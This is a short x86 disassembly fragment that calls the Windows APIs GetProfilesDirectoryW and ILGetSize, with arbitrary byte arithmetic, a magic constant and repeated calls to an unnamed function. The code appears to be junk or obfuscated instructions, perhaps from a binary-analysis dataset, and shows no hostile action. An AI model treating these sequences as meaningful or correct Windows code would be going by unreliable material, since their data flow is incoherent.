lea edx, [ebp - 0x6a94]
push edx
mov eax, dword [ebp - 0x8c48]
push eax
call dword [sym.imp.USERENV.dll_GetProfilesDirectoryW]
mov dword [ebp - 0x6a94], eax
movsx ecx, byte [ebp - 0x43c5]
sub ecx, 0x15
mov byte [ebp - 0x43c5], cl
jmp 0x4843a9
lea edx, [ebp - 0x8c48]
push edx
call dword [sym.imp.SHELL32.dll_ILGetSize]
mov dword [ebp - 0x1c44], eax
jmp 0x4843c5
mov dword [ebp - 0x1c44], 0x6a059a56
movzx eax, byte [ebp - 0x43c5]
push eax
call fcn.00484b30
add esp, 4
movzx ecx, byte [ebp - 0x43c5]
push ecx
call fcn.00484b30
add esp, 4
mov eax, dword [ebp - 0x3f18]
pop esi
mov esp, ebp
pop ebp
ret 0x10